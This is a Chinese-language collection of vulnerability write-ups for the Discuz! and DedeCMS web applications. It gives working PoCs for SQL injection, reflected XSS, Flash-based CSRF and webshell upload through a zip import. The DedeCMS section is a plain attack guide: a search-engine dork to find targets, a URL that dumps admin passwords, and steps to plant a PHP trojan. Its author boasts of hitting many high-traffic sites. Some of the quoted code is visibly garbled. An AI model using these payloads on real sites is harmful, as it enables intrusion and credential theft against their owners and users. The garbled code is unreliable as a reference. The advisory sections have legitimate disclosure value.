【导语】下面是小编为大家准备的Discuz! moderation.inc.php 数据库注射 bug脚本安全(共8篇),欢迎阅读借鉴。

篇1:Discuz! moderation.inc.php 数据库注射 bug脚本安全
由于Discuz!d的include/moderation.inc.php存在一个'二次攻击'导致数据库'注射'的bug
author: 80vul-B
team:www.80vul.com
一 分析
在文件include/moderation.inc.php里代码:
$threadlist = $loglist = array;
if($tids = implodeids($moderate)) {
$query = $db->query(“SELECT * FROM {$tablepre}threads WHERE tid IN ($tids) AND fid='$fid' AND displayorder>='0' AND digest>='0' LIMIT $tpp”);
while($thread = $db->fetch_array($query)) {
...
$threadlist[$thread['tid']] = $thread;
...
foreach($threadlist as $tid => $thread) {
...
if($type == 'redirect') {
$db->query(“INSERT INTO {$tablepre}threads (fid, readperm, iconid, author, authorid, subject, dateline, lastpost, lastposter, views, replies, displayorder, digest, closed, special, attachment)
VALUES ('$thread[fid]', '$thread[readperm]', '$thread[iconid]', '”.addslashes($thread['author']).“', '$thread[authorid]', '”.addslashes($thread['subject']).“', '$thread[dateline]', '$thread[dblastpost]', '$thread[lastposter]', '0', '0', '0', '0', '$thread[tid]', '0', '0')”);
这个比较明显,从数据库查询出的值$thread[lastposter]直接带入了insert语句中,导致了注射:)这个看上去比上面的那个用处大些,其实有很多的限制.首先$thread[lastposter]是从数据库中查询出来的值,有字数限制[不能大于15个字符];其次,这个地方需要版主权限才能操作.
二 利用
注册新用户,用户名为80vul',发表新回复,然后用拥有版主权限的账号将此帖转移,移动方式选为[移动主题并在原来的版块中保留转向],和上面的效果一样,执行时数据库报错了:)
三 补丁[fix]
等待官方补丁.
篇2:Discuz! trade.php 数据库注射 bug
由于Discuz!d的trade.php里的$message处理不严格导致引起数据库操作错误,通过SODB--06而导致xss攻击及数据库信息泄露的漏洞.
author: 80vul-B
team:www.80vul.com
一 分析
文件trade.php:
$message = trim($message);
if($message) {
$message = daddslashes($tradelog['message'], 1).“ttt”.$discuz_uid.“t”.$discuz_user.“t”.$timestamp.“t”.nl2br(strip_tags(substr($message, 0, 200)));
//$message用substr处理了下,取前200个字符
} else {
$message = daddslashes($tradelog['message'], 1);
}
$db->query(“UPDATE {$tablepre}tradelog SET status='$offlinestatus', lastupdate='$timestamp', message='$message' WHERE rderid='$orderid'”);
//这个地方$message直接进入sql语句了:)
showmessage('trade_orderstatus_updated', 'trade.php?orderid='.$orderid);
}把199个A和一个'赋值给message,经过gpc处理后$message的值为199个A和',在经过substr的处理变为199个A和,这样带入sql语句,执行时就会报错了:).由于$orderid被过滤导致没有办法利用这个进行'有效'的sql注射漏洞,但是可以利用mysql的错误信息得到表名的前缀等信息,还有就是可能通过
二 利用
poc:
POST discuz/trade.php/?orderid=20081101133833f8ePgzOquj6UdcKUVq HTTP/1.1
Accept: */*
Accept-Language: zh-cn
Referer: 127.0.0.1/discuz/
User-Agent: Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)
Host: 127.0.0.1
Cookie: pbK_auth=488bbzQZdkZGTyZFGMWesQH%2BAKOb5YMEQOhJ6qQC9YuWhZWtHn4wduYOvNf9b%2BLYe7g3rPPH%2FEi1HspTnSCZow
Content-Length: 426
Content-Type: application/x-www-form-urlencoded
Connection: Close
formhash=b674a3cd&password=123456&message=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA%27&offlinestatus=4&offlinesubmit=%E6%8F%90%E4%BA%A4%E6%9F%A5%E8%AF%A2&newnumber=1&newbuyername=80vul&newbuyercontact=80vul&newbuyerzip=12345&newbuyerphone=123122&newbuyermobile=121312312三 补丁[fix]
等待官方补丁
篇3:Discuz! 数据库错误信息xss bug脚本安全
由于Discuz!在处理数据库的错误信息时对$GLOBALS['PHP_SELF']没有过滤,导致在让数据库出错的情况下导致xss攻击.
author: 80vul-B
team:www.80vul.com
一 分析
在文件includedb_mysql_error.inc.php里代码:
if($message) {
$errmsg = “Discuz! info: $messagenn”;
}
if(isset($GLOBALS['_DSESSION']['discuz_user'])) {
$errmsg .= “User: ”.htmlspecialchars($GLOBALS['_DSESSION']['discuz_user']).“n”;
}
$errmsg .= “Time: ”.gmdate(“Y-n-j g:ia”, $timestamp + ($GLOBALS['timeoffset'] * 3600)).“n”;
$errmsg .= “Script: ”.$GLOBALS['PHP_SELF'].“nn”;
if($sql) {
$errmsg .= “SQL: ”.htmlspecialchars($sql).“n”;
}
$errmsg .= “Error: $dberrorn”;
$errmsg .= “Errno.: $dberrno”;
$GLOBALS['PHP_SELF']确实过滤,导致在出现sql错误信息时利用$GLOBALS['PHP_SELF']进行xss攻击.二 利用
需要结合其他的让出现错误信息的漏洞.
三 补丁[fix]
过滤$GLOBALS['PHP_SELF']
篇4:Discuz! flash Csrf bug脚本安全
由于Discuz!对flash跨域策略文件及上传图片文件处理不严导致可以绕过formhash及Referer的限制,导致csrf攻击.
author: 80vul-A
team:www.80vul.com
Discuz!的安全人员已经意识到csrf方面的漏洞了采用了formhash及判断Referer等来防止外部提交,如果看过[1]一文的朋友应该意识到我们可以通过flash来进行csrf攻击.
一 分析
首先我们看Discuz!6开始自带了crossdomain.xml文件,代码如下:
import RegExp;
var xml:XML = new XML;
xml.onData = function(s) {
tb1.text = getFirstMatch(new RegExp(“
}
System.security.loadPolicyFile(“192.168.1.102/crossdomain.xml”);
xml.load(“192.168.1.102/d.txt”);
熟悉as安全的人知道,flash已经修补了http头定义的漏洞,也就是说我们没有办法利用下面的代码:.addRequestHeader(“Referer: foo/index.php?foo”,“www.80vul.com”);
来伪造Referer,但是我们可以通过类似于SODB--01里的利用通过把flash改为gif后缀上传到目标来突破,然后我们通过html远程调用这个gif来突破.
二 利用
POC[测试Discuz!5.5 其他版本的请自己编写]如下:
flash的原文件:www.80vul.com/dzvul/sodb/01/sodb-2008-02.fla
as代码如下:
import RegExp;
System.security.loadPolicyFile(“www.80vul.com/bbs/crossdomain.xml”);
var xml:XML = new XML();
xml.onData = function(s) {
tb1.text = getFirstMatch(new RegExp(“
}
System.security.loadPolicyFile(“www.80vul.com/bbs/crossdomain.xml”);
xml.load(“www.80vul.com/bbs/admincp.php?action=members”);
function getFirstMatch(re, s, i) {
var m = null;
if ((m = re.exec(s)) != null) {
return m[i];
}
}
远程调用的html:
三 补丁
等待官方补丁.
[删除crossdomain.xml不可以完全修补该漏洞,crossdomain.xml可以为容易文件名loadPolicyFile()调用就行,所以攻击者可以通过上传等上传改名了的crossdomain.xml]
四 参考
[1]:superhei.blogbus.com/logs/13463505.html
篇5:dedecms注射漏洞脚本安全
注释:先注册..输入地址后,要等一会刷新就可以看到密码了
作者不知道是谁
问题出现在buy_action.php
没有对pid传递进行足够的重视
导致出现SQL注射问题!
注册地址
/member/index_do.php?fmdo=user&dopost=regnew
爆管理员密码
/member/buy_action.php?product=member&pid=1%20and%201=11%20union%20select%201,2,substring(pwd,9,16),4,5%20from%20%23@__admin/*
用很大。 如果你找不到可以利用的 那就是自己RP问题
反正 我们是找到很多了,而且是流量比较大的站,很不错的站。
更正一下:
LZ发的代码因为这个.NET版本的论坛有问题所以没显示全 全部代码是:
暴管理员密码:
CODE:
/member/buy_action.php?product=member&pid=1%20and%201=11%20union
%20select%201,2,substring(pwd,9,16),4,5%20from%20%23@__admin/*
首先在
GOOGLE搜Power by DedeCms
先注册一个号,注册成功后
直接输入下面的
include/dialoguser/select_soft.php或者
include/dialoguser/select_media.php
然后上传一个PHP马,
先要改下后缀,改可以上传的就可以了,然后再改名的地址输入 木马名字.PHP
上传成功
直接访问
所在目录的路径/木马名字.php
一个SHELL就拿到了,
篇6:Discuz! admincp.php xss bug
由于Discuz!的后台登陆文件$url_forward没有过滤导致一个严重的xss bug.
author: 80vul-B
team:www.80vul.com
漏洞存在于文件admin/login.inc.php里$url_forward没有被过滤导致xss漏洞:
poc:
127.0.0.1/discuz/admincp.php?url_forward=%22%3E%3Cscript%3Ealert(/xss/)%3C/script%3E
[管理员或版主前台登录,但未登录后台时触发]
篇7:Discuz! admindatabase.inc.php getwebshell bug
author: ring04h
team:www.80vul.com
[该漏洞由ring04h发现并且投递,thx]
由于Discuz!的admindatabase.inc.php里action=importzip解压zip文件时,导致可以得到webshell.
一 分析
在文件admindatabase.inc.php里代码:
.....
elseif($operation == 'importzip') {
require_once DISCUZ_ROOT.'admin/zip.func.php';
$unzip = new SimpleUnzip;
$unzip->ReadFile($datafile_server);
if($unzip->Count() == 0 || $unzip->GetError(0) != 0 || !preg_match(“/.sql$/i”, $importfile = $unzip->GetName(0))) {
cpmsg('database_import_file_illegal', '', 'error');
}
$identify = explode(',', base64_decode(preg_replace(“/^# Identify:s*(w+).*/s”, “1”, substr($unzip->GetData(0), 0, 256))));
$confirm = !empty($confirm) ? 1 : 0;
if(!$confirm && $identify[1] != $version) {
cpmsg('database_import_confirm', 'admincp.php?action=database&operation=importzip&datafile_server=$datafile_server&importsubmit=yes&confirm=yes', 'form');
}
$sqlfilecount = 0;
foreach($unzip->Entries as $entry) {
if(preg_match(“/.sql$/i”, $entry->Name)) {
$fp = fopen('./forumdata/'.$backupdir.'/'.$entry->Name, 'w');
fwrite($fp, $entry->Data);
fclose($fp);
$sqlfilecount++;
}
}
......
注意2点
1. preg_match(“/.sql$/i”, $importfile = $unzip->GetName(0)) 可以利用apache的特性如081127_k4pFUs3C-1.php.sql这样类似的文件.
2. $identify = explode(',', base64_decode(preg_replace(“/^# Identify:s*(w+).*/s”, “1”, substr($unzip->GetData(0), 0, 256)))); 所以要注意文件格式:[可以先备用下然后修改打包为zip]
# Identify: MTIyNzc1NzEyNSw2LjEuMCxkaXNjdXosbXVsdGl2b2wsMQ==
#
#
# Discuz! Multi-Volume Data Dump Vol.1
# Version: Discuz! 6.1.0
# Time: -11-27 11:38
# Type: discuz
# Table Prefix: cdb_
二 利用
提交:
<6.0 :admincp.php?action=importzip&datafile_server=./附件路径/附件名.zip&importsubmit=yes
=6.1 :admincp.php?action=database&operation=importzip&datafile_server=./附件路径/附件名称.zip&importsubmit=yes&frames=yes
三 补丁[fix]
缺
篇8:Discuz! member.php xss bug
由于Discuz!的member.php对$listgid并没有初始化导致一个严重的xss bug.
author:80vul-B
team:www.80vul.com
一 分析
member.php代码:
if(!empty($listgid) && ($listgid == intval($_GET['listgid']))) {//这里用的等于[==]而不是全等[===]进行的比较,且$listgid并没有初始化:)0 = $adminid == 1 ? 'grouplist' : 0;} else {$listgid = '';}...$multipage = multi($num, $memberperpage, $page, “member.php?action=list&listgid=$listgid&srchmem=”.rawurlencode($srchmem).“&order=$order&type=0”, $membermaxpages);
二 利用
poc:
poc:
www.80vul.com/bbs/member.php?action=list&listgid=%22%3E%3Cscript%3Ealert(/xss/)%3C/script%3E
会员列表页面存在分页时触发
三 补丁[fix]
刚发布的dz7 bt版本[1]已经fix这个漏洞了:
if(!empty($listgid) && ($listgid = intval($_GET['listgid']))) {0 = $adminid == 1 ? 'grouplist' : 0;} else {$listgid = '';}
[1]:download.comsenz.com/Discuz/7.0.0Beta/Discuz_7_Beta_SC_GBK.zip
文档为doc格式